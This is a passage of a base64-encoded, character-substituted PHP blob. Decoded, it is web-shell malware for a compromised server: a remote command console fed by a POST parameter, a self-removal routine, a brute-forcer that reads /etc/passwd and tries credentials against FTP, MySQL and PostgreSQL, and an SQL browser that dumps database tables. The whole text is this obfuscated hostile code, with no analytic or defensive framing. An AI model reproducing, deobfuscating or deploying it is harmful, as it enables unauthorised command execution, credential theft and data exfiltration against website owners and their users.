xbDQxcy52MWwzNSk7fTVsczV7ZyhuM2xsLG4zbGwsZDJjM201bnQuY2YuMWw0MXMudjFsMzUpO30iIHYxbDM1PSI+PiI+IDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICcuKCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddPydjaDVjazVkJzonJykuJz4gczVuZCAzczRuZyBBSkFYPGJyLz48dDV4dDFyNTEgY2wxc3M9YjRnMXI1MSBuMW01PTIzdHAzdCBzdHlsNT0iYjJyZDVyLWIydHQybTowO20xcmc0bjowOyIgcjUxZDJubHk+JzsNCiAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoIiQgIi4kX1BPU1RbJ3A2J10uIlxuIi41eCgkX1BPU1RbJ3A2J10pKTsNCiAgICB9DQogICAgNWNoMiAnPC90NXh0MXI1MT48NG5wM3QgdHlwNT10NXh0IG4xbTU9Y21kIHN0eWw1PSJiMnJkNXItdDJwOjA7dzRkdGg6NjAwJTttMXJnNG46MDsiIDJuazV5ZDJ3bj0ia3AoNXY1bnQpOyI+JzsNCiAgICA1Y2gyICc8L2Yycm0+PC9kNHY+PHNjcjRwdD5kMmMzbTVudC5jZi5jbWQuZjJjM3MoKTs8L3NjcjRwdD4nOw0KICAgIHByNG50RjIydDVyKCk7DQp9DQogDQpmM25jdDQybiAxY3Q0Mm5MMmcyM3QoKSB7DQogICAgM25zNXQoJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSk7DQogICAgNWNoMiAnYnk1ISc7DQp9DQogDQpmM25jdDQybiAxY3Q0Mm5TNWxmUjVtMnY1KCkgew0KICAgIHByNG50SDUxZDVyKCk7DQogICAgNGYoJF9QT1NUWydwNiddID09ICd5NXMnKSB7DQogICAgICAgIDRmKEAzbmw0bmsoU0VMRl9QQVRIKSkNCiAgICAgICAgICAgIGQ0NSgnU2g1bGwgaDFzIGI1NW4gcjVtMnY1ZCcpOw0KICAgICAgICA1bHM1DQogICAgICAgICAgICA1Y2gyICczbmw0bmsgNXJyMnIhJzsNCiAgICB9DQogICAgNWNoMiAnPGg2PlMzNGM0ZDU8L2g2PjxkNHYgY2wxc3M9YzJudDVudD5SNTFsbHkgdzFudCB0MiByNW0ydjUgdGg1IHNoNWxsPzxicj48MSBocjVmPSMgMm5jbDRjaz0iZyhuM2xsLG4zbGwsXCd5NXNcJykiPlk1czwvMT48L2Q0dj4nOw0KICAgIHByNG50RjIydDVyKCk7DQp9DQogDQpmM25jdDQybiAxY3Q0Mm5CcjN0NWYycmM1KCkgew0KICAgIHByNG50SDUxZDVyKCk7DQogICAgNGYoIDRzczV0KCRfUE9TVFsncHIydDInXSkgKSB7DQogICAgICAgIDVjaDIgJzxoNj5SNXMzbHRzPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHNwMW4+VHlwNTo8L3NwMW4+ICcuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3ByMnQyJ10pLicgPHNwMW4+UzVydjVyOjwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnczVydjVyJ10pLic8YnI+JzsNCiAgICAgICAgNGYoICRfUE9TVFsncHIydDInXSA9PSAnZnRwJyApIHsNCiAgICAgICAgICAgIGYzbmN0NDJuIGJyM3Q1RjJyYzUoJDRwLCRwMnJ0LCRsMmc0biwkcDFzcykgew0KICAgICAgICAgICAgICAgICRmcCA9IEBmdHBfYzJubjVjdCgkNHAsICRwMnJ0PyRwMnJ0OmE2KTsNCiAgICAgICAgICAgICAgICA0ZighJGZwKSByNXQzcm4gZjFsczU7DQogICAgICAgICAgICAgICAgJHI1cyA9IEBmdHBfbDJnNG4oJGZwLCAkbDJnNG4sICRwMXNzKTsNCiAgICAgICAgICAgICAgICBAZnRwX2NsMnM1KCRmcCk7DQogICAgICAgICAgICAgICAgcjV0M3JuICRyNXM7DQogICAgICAgICAgICB9DQogICAgICAgIH0gNWxzNTRmKCAkX1BPU1RbJ3ByMnQyJ10gPT0gJ215c3FsJyApIHsNCiAgICAgICAgICAgIGYzbmN0NDJuIGJyM3Q1RjJyYzUoJDRwLCRwMnJ0LCRsMmc0biwkcDFzcykgew0KICAgICAgICAgICAgICAgICRyNXMgPSBAbXlzcWxfYzJubjVjdCgkNHAuJzonLiRwMnJ0PyRwMnJ0Om9vMGUsICRsMmc0biwgJHAxc3MpOw0KICAgICAgICAgICAgICAgIEBteXNxbF9jbDJzNSgkcjVzKTsNCiAgICAgICAgICAgICAgICByNXQzcm4gJHI1czsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSA1bHM1NGYoICRfUE9TVFsncHIydDInXSA9PSAncGdzcWwnICkgew0KICAgICAgICAgICAgZjNuY3Q0Mm4gYnIzdDVGMnJjNSgkNHAsJHAycnQsJGwyZzRuLCRwMXNzKSB7DQogICAgICAgICAgICAgICAgJHN0ciA9ICJoMnN0PSciLiQ0cC4iJyBwMnJ0PSciLiRwMnJ0LiInIDNzNXI9JyIuJGwyZzRuLiInIHAxc3N3MnJkPSciLiRwMXNzLiInIGRibjFtNT0nJyI7DQogICAgICAgICAgICAgICAgJHI1cyA9IEBwZ19jMm5uNWN0KCRzNXJ2NXJbMF0uJzonLiRzNXJ2NXJbNl0/JHM1cnY1cls2XTppdW9hLCAkbDJnNG4sICRwMXNzKTsNCiAgICAgICAgICAgICAgICBAcGdfY2wyczUoJHI1cyk7DQogICAgICAgICAgICAgICAgcjV0M3JuICRyNXM7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJHMzY2M1c3MgPSAwOw0KICAgICAgICAkMXR0NW1wdHMgPSAwOw0KICAgICAgICAkczVydjVyID0gNXhwbDJkNSgiOiIsICRfUE9TVFsnczVydjVyJ10pOw0KICAgICAgICA0ZigkX1BPU1RbJ3R5cDUnXSA9PSA2KSB7DQogICAgICAgICAgICAkdDVtcCA9IEBmNGw1KCcvNXRjL3Axc3N3ZCcpOw0KICAgICAgICAgICAgNGYoIDRzXzFycjF5KCR0NW1wKSApDQogICAgICAgICAgICAgICAgZjJyNTFjaCgkdDVtcCAxcyAkbDRuNSkgew0KICAgICAgICAgICAgICAgICAgICAkbDRuNSA9IDV4cGwyZDUoIjoiLCAkbDRuNSk7DQogICAgICAgICAgICAgICAgICAgICsrJDF0dDVtcHRzOw0KICAgICAgICAgICAgICAgICAgICA0ZiggYnIzdDVGMnJjNShAJHM1cnY1clswXSxAJHM1cnY1cls2XSwgJGw0bjVbMF0sICRsNG41WzBdKSApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzM2NjNXNzKys7DQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8Yj4nLmh0bWxzcDVjNDFsY2gxcnMoJGw0bjVbMF0pLic8L2I+OicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzxicj4nOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIDRmKEAkX1BPU1RbJ3I1djVyczUnXSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHRtcCA9ICIiOw0KICAgICAgICAgICAgICAgICAgICAgICAgZjJyKCQ0PXN0cmw1bigkbDRuNVswXSktNjsgJDQ+PTA7IC0tJDQpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRtcCAuPSAkbDRuNVswXVskNF07DQogICAgICAgICAgICAgICAgICAgICAgICArKyQxdHQ1bXB0czsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCBicjN0NUYycmM1KEAkczVydjVyWzBdLEAkczVydjVyWzZdLCAkbDRuNVswXSwgJHRtcCkgKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHMzY2M1c3MrKzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8Yj4nLmh0bWxzcDVjNDFsY2gxcnMoJGw0bjVbMF0pLic8L2I+OicuaHRtbHNwNWM0MWxjaDFycygkdG1wKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfSA1bHM1NGYoJF9QT1NUWyd0eXA1J10gPT0gYSkgew0KICAgICAgICAgICAgJHQ1bXAgPSBAZjRsNSgkX1BPU1RbJ2Q0Y3QnXSk7DQogICAgICAgICAgICA0ZiggNHNfMXJyMXkoJHQ1bXApICkNCiAgICAgICAgICAgICAgICBmMnI1MWNoKCR0NW1wIDFzICRsNG41KSB7DQogICAgICAgICAgICAgICAgICAgICRsNG41ID0gdHI0bSgkbDRuNSk7DQogICAgICAgICAgICAgICAgICAgICsrJDF0dDVtcHRzOw0KICAgICAgICAgICAgICAgICAgICA0ZiggYnIzdDVGMnJjNSgkczVydjVyWzBdLEAkczVydjVyWzZdLCAkX1BPU1RbJ2wyZzRuJ10sICRsNG41KSApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzM2NjNXNzKys7DQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8Yj4nLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydsMmc0biddKS4nPC9iPjonLmh0bWxzcDVjNDFsY2gxcnMoJGw0bjUpLic8YnI+JzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICA1Y2gyICI8c3Axbj5BdHQ1bXB0czo8L3NwMW4+ICQxdHQ1bXB0cyA8c3Axbj5TM2NjNXNzOjwvc3Axbj4gJHMzY2M1c3M8L2Q0dj48YnI+IjsNCiAgICB9DQogICAgNWNoMiAnPGg2PkZUUCBicjN0NWYycmM1PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHQxYmw1PjxmMnJtIG01dGgyZD1wMnN0Pjx0cj48dGQ+PHNwMW4+VHlwNTwvc3Axbj48L3RkPicNCiAgICAgICAgLic8dGQ+PHM1bDVjdCBuMW01PXByMnQyPjwycHQ0Mm4gdjFsMzU9ZnRwPkZUUDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9bXlzcWw+TXlTcWw8LzJwdDQybj48MnB0NDJuIHYxbDM1PXBnc3FsPlAyc3RncjVTcWw8LzJwdDQybj48L3M1bDVjdD48L3RkPjwvdHI+PHRyPjx0ZD4nDQogICAgICAgIC4nPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+Jw0KICAgICAgICAuJzw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJzEnXSkuJyI+Jw0KICAgICAgICAuJzw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2NoMXJzNXQnXSkuJyI+Jw0KICAgICAgICAuJzxzcDFuPlM1cnY1cjpwMnJ0PC9zcDFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9czVydjVyIHYxbDM1PSI2YTcuMC4wLjYiPjwvdGQ+PC90cj4nDQogICAgICAgIC4nPHRyPjx0ZD48c3Axbj5CcjN0NSB0eXA1PC9zcDFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48bDFiNWw+PDRucDN0IHR5cDU9cjFkNDIgbjFtNT10eXA1IHYxbDM1PSI2IiBjaDVjazVkPiAvNXRjL3Axc3N3ZDwvbDFiNWw+PC90ZD48L3RyPicNCiAgICAgICAgLic8dHI+PHRkPjwvdGQ+PHRkPjxsMWI1bCBzdHlsNT0icDFkZDRuZy1sNWZ0OjZpcHgiPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9cjV2NXJzNSB2MWwzNT02IGNoNWNrNWQ+IHI1djVyczUgKGwyZzRuIC0+IG40ZzJsKTwvbDFiNWw+PC90ZD48L3RyPicNCiAgICAgICAgLic8dHI+PHRkPjwvdGQ+PHRkPjxsMWI1bD48NG5wM3QgdHlwNT1yMWQ0MiBuMW01PXR5cDUgdjFsMzU9ImEiPiBENGN0NDJuMXJ5PC9sMWI1bD48L3RkPjwvdHI+Jw0KICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PHQxYmw1IHN0eWw1PSJwMWRkNG5nLWw1ZnQ6NmlweCI+PHRyPjx0ZD48c3Axbj5MMmc0bjwvc3Axbj48L3RkPicNCiAgICAgICAgLic8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PWwyZzRuIHYxbDM1PSJrMm1zNW4iPjwvdGQ+PC90cj4nDQogICAgICAgIC4nPHRyPjx0ZD48c3Axbj5ENGN0NDJuMXJ5PC9zcDFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9ZDRjdCB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkuJ3Axc3N3ZC5kNGMiPjwvdGQ+PC90cj48L3QxYmw1PicNCiAgICAgICAgLic8L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjx0ZD48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L3RkPjwvdHI+PC9mMnJtPjwvdDFibDU+JzsNCiAgICA1Y2gyICc8L2Q0dj48YnI+JzsNCiAgICBwcjRudEYyMnQ1cigpOw0KfQ0KIA0KZjNuY3Q0Mm4gMWN0NDJuU3FsKCkgew0KICAgIGNsMXNzIERiQ2wxc3Mgew0KICAgICAgICB2MXIgJHR5cDU7DQogICAgICAgIHYxciAkbDRuazsNCiAgICAgICAgdjFyICRyNXM7DQogICAgICAgIGYzbmN0NDJuIERiQ2wxc3MoJHR5cDUpICAgIHsNCiAgICAgICAgICAgICR0aDRzLT50eXA1ID0gJHR5cDU7DQogICAgICAgIH0NCiAgICAgICAgZjNuY3Q0Mm4gYzJubjVjdCgkaDJzdCwgJDNzNXIsICRwMXNzLCAkZGJuMW01KXsNCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgICAgew0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgNGYoICR0aDRzLT5sNG5rID0gQG15c3FsX2Mybm41Y3QoJGgyc3QsJDNzNXIsJHAxc3MsdHIzNSkgKSByNXQzcm4gdHIzNTsNCiAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICAkaDJzdCA9IDV4cGwyZDUoJzonLCAkaDJzdCk7DQogICAgICAgICAgICAgICAgICAgIDRmKCEkaDJzdFs2XSkgJGgyc3RbNl09aXVvYTsNCiAgICAgICAgICAgICAgICAgICAgNGYoICR0aDRzLT5sNG5rID0gQHBnX2Mybm41Y3QoImgyc3Q9eyRoMnN0WzBdfSBwMnJ0PXskaDJzdFs2XX0gM3M1cj0kM3M1ciBwMXNzdzJyZD0kcDFzcyBkYm4xbTU9JGRibjFtNSIpICkgcjV0M3JuIHRyMzU7DQogICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgICAgIGYzbmN0NDJuIHM1bDVjdGRiKCRkYikgew0KICAgICAgICAgICAgc3c0dGNoKCR0aDRzLT50eXA1KSAgICB7DQogICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICA0ZiAoQG15c3FsX3M1bDVjdF9kYigkZGIpKXI1dDNybiB0cjM1Ow0KICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgICAgICBmM25jdDQybiBxMzVyeSgkc3RyKSB7DQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpIHsNCiAgICAgICAgICAgICAgICBjMXM1ICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVzID0gQG15c3FsX3EzNXJ5KCRzdHIpOw0KICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVzID0gQHBnX3EzNXJ5KCR0aDRzLT5sNG5rLCRzdHIpOw0KICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgICAgICBmM25jdDQybiBmNXRjaCgpIHsNCiAgICAgICAgICAgICRyNXMgPSBmM25jX24zbV8xcmdzKCk/ZjNuY19nNXRfMXJnKDApOiR0aDRzLT5yNXM7DQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICAgIHsNCiAgICAgICAgICAgICAgICBjMXM1ICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiBAbXlzcWxfZjV0Y2hfMXNzMmMoJHI1cyk7DQogICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgIGMxczUgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIEBwZ19mNXRjaF8xc3MyYygkcjVzKTsNCiAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICAgICAgZjNuY3Q0Mm4gbDRzdERicygpIHsNCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgICAgew0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXMgPSBAbXlzcWxfbDRzdF9kYnMoJHRoNHMtPmw0bmspOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgIGMxczUgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXMgPSAkdGg0cy0+cTM1cnkoIlNFTEVDVCBkMXRuMW01IEZST00gcGdfZDF0MWIxczUiKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgICAgICBmM25jdDQybiBsNHN0VDFibDVzKCkgew0KICAgICAgICAgICAgc3c0dGNoKCR0aDRzLT50eXA1KSAgICB7DQogICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cyA9ICR0aDRzLT5xMzVyeSgnU0hPVyBUQUJMRVMnKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVzID0gJHRoNHMtPnEzNXJ5KCJzNWw1Y3QgdDFibDVfbjFtNSBmcjJtIDRuZjJybTF0NDJuX3NjaDVtMS50MWJsNXMgd2g1cjUgKHQxYmw1X3NjaDVtMSAhPSAnNG5mMnJtMXQ0Mm5fc2NoNW0xJyBBTkQgdDFibDVfc2NoNW0xICE9ICdwZ19jMXQxbDJnJykgMnIgdDFibDVfbjFtNSA9ICdwZ18zczVyJyIpOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgICAgIGYzbmN0NDJuIDVycjJyKCkgew0KICAgICAgICAgICAgc3c0dGNoKCR0aDRzLT50eXA1KSAgICB7DQogICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gQG15c3FsXzVycjJyKCR0aDRzLT5sNG5rKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiBAcGdfbDFzdF81cnIycigkdGg0cy0+bDRuayk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICAgICAgZjNuY3Q0Mm4gczV0Q2gxcnM1dCgkc3RyKSB7DQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICAgIHsNCiAgICAgICAgICAgICAgICBjMXM1ICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgIDRmKGYzbmN0NDJuXzV4NHN0cygnbXlzcWxfczV0X2NoMXJzNXQnKSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiBAbXlzcWxfczV0X2NoMXJzNXQoJHN0ciwgJHRoNHMtPmw0bmspOw0KICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+cTM1cnkoJ1NFVCBDSEFSU0VUICcuJHN0cik7DQogICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIEBwZ19zNXRfY2w0NW50XzVuYzJkNG5nKCR0aDRzLT5sNG5rLCAkc3RyKTsNCiAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICAgICAgZjNuY3Q0Mm4gZDNtcCgkdDFibDUpIHsNCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgICAgew0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgJHI1cyA9ICR0aDRzLT5xMzVyeSgnU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHQxYmw1LidgJyk7DQogICAgICAgICAgICAgICAgICAgICRjcjUxdDUgPSBteXNxbF9mNXRjaF8xcnIxeSgkcjVzKTsNCiAgICAgICAgICAgICAgICAgICAgNWNoMiAkY3I1MXQ1WzZdLiI7XG5cbiI7DQogICAgICAgICAgICAgICAgICAgICR0aDRzLT5xMzVyeSgnU0VMRUNUICogRlJPTSBgJy4kdDFibDUuJ2AnKTsNCiAgICAgICAgICAgICAgICAgICAgd2g0bDUoJDR0NW0gPSAkdGg0cy0+ZjV0Y2goKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGMybDNtbnMgPSAxcnIxeSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkNHQ1bSAxcyAkaz0+JHYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bVska10gPSAiJyIuQG15c3FsX3I1MWxfNXNjMXA1X3N0cjRuZygkdikuIiciOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjMmwzbW5zW10gPSAiYCIuJGsuImAiOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyICdJTlNFUlQgSU5UTyBgJy4kdDFibDUuJ2AgKCcuNG1wbDJkNSgiLCAiLCAkYzJsM21ucykuJykgVkFMVUVTICgnLjRtcGwyZDUoIiwgIiwgJDR0NW0pLicpOycuIlxuIjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgIGMxczUgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPnEzNXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHQxYmw1KTsNCiAgICAgICAgICAgICAgICAgICAgd2g0bDUoJDR0NW0gPSAkdGg0cy0+ZjV0Y2goKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGMybDNtbnMgPSAxcnIxeSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkNHQ1bSAxcyAkaz0+JHYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bVska10gPSAiJyIuMWRkc2wxc2g1cygkdikuIiciOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjMmwzbW5zW10gPSAkazsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgNWNoMiAnSU5TRVJUIElOVE8gJy4kdDFibDUuJyAoJy40bXBsMmQ1KCIsICIsICRjMmwzbW5zKS4nKSBWQUxVRVMgKCcuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyk7Jy4iXG4iOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICB9Ow0KICAgICRkYiA9IG41dyBEYkNsMXNzKCRfUE9TVFsndHlwNSddKTsNCiAgICA0ZihAJF9QT1NUWydwYSddPT0nZDJ3bmwyMWQnKSB7DQogICAgICAgIDJiX3N0MXJ0KCIyYl9nemgxbmRsNXIiLCB1MDllKTsNCiAgICAgICAgJGRiLT5jMm5uNWN0KCRfUE9TVFsnc3FsX2gyc3QnXSwgJF9QT1NUWydzcWxfbDJnNG4nXSwgJF9QT1NUWydzcWxfcDFzcyddLCAkX1BPU1RbJ3NxbF9iMXM1J10pOw0KICAgICAgICAkZGItPnM1bDVjdGRiKCRfUE9TVFsnc3FsX2IxczUnXSk7DQogICAgICAgIGg1MWQ1cigiQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9ZDNtcC5zcWwiKTsNCiAgICAgICAgaDUxZDVyKCJDMm50NW50LVR5cDU6IHQ1eHQvcGwxNG4iKTsNCiAgICAgICAgZjJyNTFjaCgkX1BPU1RbJ3RibCddIDFzICR2KQ0KICAgICAgICAgICAgICAgICRkYi0+ZDNtcCgkdik7DQogICAgICAgIDV4NHQ7DQogICAgfQ0KICAgIHByNG50SDUxZDVyKCk7DQogICAgPz4NCiAgICA8aDY+U3FsIGJyMndzNXI8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4NCiAgICA8ZjJybSBuMW01PSJzZiIgbTV0aDJkPSJwMnN0Ij4NCiAgICAgICAgPHQxYmw1IGM1bGxwMWRkNG5nPSJhIiBjNWxsc3AxYzRuZz0iMCI+DQogICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgPHRkPlR5cDU8L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD5IMnN0PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+TDJnNG48L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD5QMXNzdzJyZDwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPkQxdDFiMXM1PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+PC90ZD4NCiAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT1TcWw+DQogICAgICAgICAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDYgdjFsMzU9J3EzNXJ5Jz4NCiAgICAgICAgICAgICAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wYT4NCiAgICAgICAgICAgICAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSc8Pz1odG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSk7Pz4nPg0KICAgICAgICAgICAgICAgIDw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9Jzw/PTRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJz8+Jz4NCiAgICAgICAgICAgICAgICA8dGQ+DQogICAgICAgICAgICAgICAgICAgIDxzNWw1Y3QgbjFtNT0ndHlwNSc+DQogICAgICAgICAgICAgICAgICAgICAgICA8MnB0NDJuIHYxbDM1PSJteXNxbCIgPD9waHAgNGYoQCRfUE9TVFsndHlwNSddPT0nbXlzcWwnKTVjaDIgJ3M1bDVjdDVkJzs/Pj5NeVNxbDwvMnB0NDJuPg0KICAgICAgICAgICAgICAgICAgICAgICAgPDJwdDQybiB2MWwzNT0icGdzcWwiIDw/cGhwIDRmKEAkX1BPU1RbJ3R5cDUnXT09J3Bnc3FsJyk1Y2gyICdzNWw1Y3Q1ZCc7Pz4+UDJzdGdyNVNxbDwvMnB0NDJuPg0KICAgICAgICAgICAgICAgICAgICA8L3M1bDVjdD48L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9c3FsX2gyc3QgdjFsMzU9Jzw/PSg1bXB0eSgkX1BPU1RbJ3NxbF9oMnN0J10pPydsMmMxbGgyc3QnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydzcWxfaDJzdCddKSk7Pz4nPjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPjw0bn